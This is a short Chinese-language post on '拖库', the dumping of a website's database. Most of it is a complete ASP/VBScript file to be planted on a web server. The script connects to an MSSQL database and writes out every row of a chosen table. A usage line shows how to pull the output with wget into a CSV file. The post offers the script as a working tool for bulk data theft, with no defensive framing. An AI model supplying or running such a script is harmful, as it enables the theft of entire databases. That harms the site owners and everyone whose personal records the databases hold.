拖库
asp拖mssql的库的脚本和用法示例如下:
1 <%@LANGUAGE="VBSCRIPT" CODEPAGE="65001" %>'这里改编码方式 2 <% 3 '用法:如果把本程序放在[url]http://www.xxx.com/sql.asp[/url],可以wget [url]http://www.xxx.com/sql.asp[/url] -O x.csv 来直接拖库 4 Response.Buffer = True 5 Server.ScriptTimeout = 2147483647 6 7 str="Driver={Sql Server};Server=192.168.1.5;Uid=mssql库名;Pwd=mssql密码;Database=库名" 这里是连接字符串 8 Set Conn=Server.CreateObject("Adodb.connection") 9 Conn.Open str 10 11 Set Rs = Server.Createobject("Adodb.Recordset") 12 13 Sqlstr="SELECT * FROM 库名.dbo.[表名]" '这里是导哪个库哪个表的语句 14 Rs.Open Sqlstr,Conn,3,3 15 16 If(Rs.Fields.Count > 0)Then 17 For I = 0 To Rs.Fields.Count - 1 18 Response.Write Rs.Fields(i).Name & " " 19 Next 20 Response.Write(vbNewLine) 21 22 For I = 1 To Rs.RecordCount 23 24 If(I Mod 100 = 0)Then 25 Response.Flush 26 End If 27 28 For J = 0 To Rs.Fields.Count - 1 29 Response.Write Rs(J) & " " 30 Next 31 32 Response.Write(vbNewLine) 33 34 Rs.MoveNext 35 Next 36 End If 37 38 Rs.Close 39 Conn.Close 40 If(Err <> 0)Then Response.Write(Err.Description) 41 Set Rs = Nothing 42 Set Conn = Nothing 43 %>
执行后,看着wget的进度条